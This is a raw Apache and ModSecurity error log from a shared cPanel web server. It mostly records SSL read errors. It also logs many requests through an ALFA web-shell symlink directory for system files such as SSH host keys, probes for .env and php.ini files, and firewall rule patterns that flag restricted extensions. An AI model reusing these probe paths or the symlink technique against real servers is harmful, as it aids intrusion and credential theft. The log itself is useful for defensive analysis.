[Sat Oct 24 07:48:02.489970 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.16.167.172:59266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/job/.env"] [unique_id "atya8l0Yuvqa3nuKpvNBlwAAAAk"]
[Sat Oct 24 07:48:02.490018 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.16.167.172:59266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/job/.env"] [unique_id "atya8l0Yuvqa3nuKpvNBlwAAAAk"]
[Sat Oct 24 07:48:10.638824 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.199.252.22:8363] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:48:14.564376 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.233.24.238:11770] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:48:22.671241 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 18.213.102.186:33365] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:48:26.608950 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.196.114.170:8998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:48:28.887603 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 216.244.66.250:49066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/mailbox_formats
[Sat Oct 24 07:48:34.514841 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.20.178.124:14462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:48:38.837121 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.229.95.193:57581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:49:06.536633 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.164.106.236:36269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:49:10.695741 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.216.86.144:10518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:49:18.166605 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 69.164.211.190:62064] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 07:49:19.529324 2026] [security2:error] [pid 2627309:tid 2627309] [client 123.207.65.62:49522] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "atybP10Yuvqa3nuKpvNB4wAAAAk"], referer: http://sherwinpinturas.com
[Sat Oct 24 07:49:19.541862 2026] [authz_core:error] [pid 2627309:tid 2627309] [client 123.207.65.62:49522] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sat Oct 24 07:49:22.810825 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 185.191.171.12:13316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:49:38.578743 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.204.37.237:8711] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:49:42.686134 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 35.173.18.61:47080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:49:46.627727 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.84.147.79:23993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:00.699706 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.211:13784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/total_objects
[Sat Oct 24 07:50:02.799625 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.204.37.237:35099] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/remove
[Sat Oct 24 07:50:06.563672 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.44.229.124:52504] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:10.273399 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.19:49638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/usersize
[Sat Oct 24 07:50:13.910268 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 107.20.25.33:42288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:14.633677 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.3.127.170:60260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:18.576168 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.66.172:53105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:22.886231 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 18.213.240.226:9667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:27.330543 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.44.174.136:21529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:30.623200 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 98.82.40.168:14393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/device/subsystem/devices/PNP0B00:00/physical_node/driver/bind
[Sat Oct 24 07:50:30.661168 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.208:46452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/cpu_partial
[Sat Oct 24 07:50:34.788550 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 52.4.213.199:18866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:00/physical_node/driver/unbind
[Sat Oct 24 07:50:42.698432 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.232.82.72:30721] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:55.448126 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.45.194.165:20457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:50:58.770678 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.215.235.20:46525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:02.897270 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.215.221.125:54811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:06.236171 2026] [security2:error] [pid 2627309:tid 2627309] [client 85.208.96.196:47694] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/drawmsg.inc"] [unique_id "atybql0Yuvqa3nuKpvNB6AAAAAk"]
[Sat Oct 24 07:51:06.236665 2026] [security2:error] [pid 2627309:tid 2627309] [client 85.208.96.196:47694] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/drawmsg.inc"] [unique_id "atybql0Yuvqa3nuKpvNB6AAAAAk"]
[Sat Oct 24 07:51:06.237029 2026] [security2:error] [pid 2627309:tid 2627309] [client 85.208.96.196:47694] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/drawmsg.inc"] [unique_id "atybql0Yuvqa3nuKpvNB6AAAAAk"]
[Sat Oct 24 07:51:06.607987 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.164.106.236:8346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:10.866545 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 100.28.49.152:10853] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:18.645620 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.215.221.125:59431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:24.143586 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.243.63.52:25214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:28.690645 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.202:10744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/total_objects
[Sat Oct 24 07:51:33.426020 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.233.219.155:20584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:38.725201 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.89.170.186:12783] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:42.695432 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.3.104.214:62352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:50.975109 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 54.204.12.115:13519] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:51:58.705030 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.197.28.78:33499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:02.798607 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.233.114.237:11614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:06.976383 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.209.201.119:30147] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:14.719975 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 34.225.243.131:65327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:18.866114 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.232.11.247:58636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:22.814236 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 54.197.114.76:39222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/eject
[Sat Oct 24 07:52:26.309541 2026] [security2:error] [pid 2627309:tid 2627309] [client 43.165.170.119:56602] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.php"] [unique_id "atyb-l0Yuvqa3nuKpvNB6wAAAAk"]
[Sat Oct 24 07:52:26.811617 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.197.82.195:12826] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:30.813552 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.220.2.97:47318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:35.026158 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.213.70.100:12247] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:43.097994 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 54.86.59.155:52219] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/resource3
[Sat Oct 24 07:52:43.098500 2026] [security2:error] [pid 2625272:tid 2625272] [client 54.86.59.155:52219] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/resource3"] [unique_id "atycC4Y2rJh4KkI7ZZhjnAAAAAM"]
[Sat Oct 24 07:52:43.098550 2026] [security2:error] [pid 2625272:tid 2625272] [client 54.86.59.155:52219] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/resource3"] [unique_id "atycC4Y2rJh4KkI7ZZhjnAAAAAM"]
[Sat Oct 24 07:52:46.773436 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 44.194.134.53:35931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:50.918530 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.84.147.79:24743] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:52:51.704567 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 16.216.88.252:36864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_host_ecdsa_key
[Sat Oct 24 07:52:54.054407 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.202:40000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/sections/__kcrctab_gpl
[Sat Oct 24 07:52:54.840738 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 50.16.72.185:59129] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/driver/bind
[Sat Oct 24 07:53:03.273125 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 107.22.208.39:37913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:0d/eject
[Sat Oct 24 07:53:07.252349 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 44.212.131.50:35851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:11.206761 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.209.89.189:15359] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:18.941671 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.216.172.204:44794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:22.883565 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.22.87.224:46023] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:26.890643 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 54.197.82.195:52525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:30.953143 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 44.210.204.255:64971] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:16/eject
[Sat Oct 24 07:53:39.371536 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.235.191.179:4722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:42.922400 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.214.19.8:52778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:52.065636 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 23.23.214.190:16258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:53:58.481863 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 85.208.96.206:14132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:03.115757 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.196:25240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/destroy_by_rcu
[Sat Oct 24 07:54:03.161189 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.82.66.172:54848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:11.083652 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 34.194.95.99:8992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/rescan
[Sat Oct 24 07:54:19.096668 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.3.156.186:25388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:20.196151 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 185.191.171.18:17218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/order
[Sat Oct 24 07:54:22.928999 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 3.209.174.110:63936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/hpet/unbind
[Sat Oct 24 07:54:27.049701 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.72.84.154:33736] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:31.039258 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.157.99.244:29966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:35.101190 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.206.65.8:28047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:42.993742 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 54.90.244.132:46095] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:46.939407 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 100.28.204.82:9140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:54:54.841518 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.194.14.255:29231] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:02.840255 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 3.224.215.150:8781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:19/eject
[Sat Oct 24 07:55:08.281135 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 185.191.171.10:16300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/net/rpc/auth.unix.ip/flush
[Sat Oct 24 07:55:10.919426 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.204.150.196:43750] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:14.752622 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 3.213.46.222:26140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:19.386220 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.225.24.180:57870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:22.996199 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.212.145.46:18106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:26.816080 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 98.80.130.239:3218] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:38.629748 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 34.230.124.21:23557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rescan
[Sat Oct 24 07:55:46.666509 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 23.22.105.143:3084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:50.820418 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 52.44.174.136:32666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/remove
[Sat Oct 24 07:55:51.234550 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 185.191.171.2:33220] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:51.265435 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 185.191.171.2:33234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:54.565724 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 184.73.239.35:43573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:55:59.336782 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 3.224.215.150:57134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/bind
[Sat Oct 24 07:56:01.122547 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 85.208.96.208:13876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:56:02.635343 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 23.23.180.225:33908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:56:06.485206 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.204.253.129:47715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:56:08.787964 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.201:47728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/slab_size
[Sat Oct 24 07:56:14.540867 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 107.20.181.148:65146] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:56:35.473324 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.11:31316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/trace
[Sat Oct 24 07:56:38.393687 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.234.197.175:57627] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:56:42.195244 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 35.169.102.85:61392] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:56:49.727885 2026] [security2:error] [pid 2609012:tid 2609012] [client 43.160.219.206:43736] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "atydAXUcfBNBYE9xHAJAzwAAAAA"]
[Sat Oct 24 07:56:58.664171 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.1:50196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/destroy_by_rcu
[Sat Oct 24 07:57:10.198564 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.45.29.57:38980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:57:14.183783 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 50.16.248.61:30322] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:57:26.205616 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 52.45.15.233:61047] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event2/device/device/driver/serio1/drvctl
[Sat Oct 24 07:57:30.273542 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 34.234.200.207:15418] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:57:34.183458 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 35.153.86.200:6264] AH02013: coalesce failed to read from data bucket
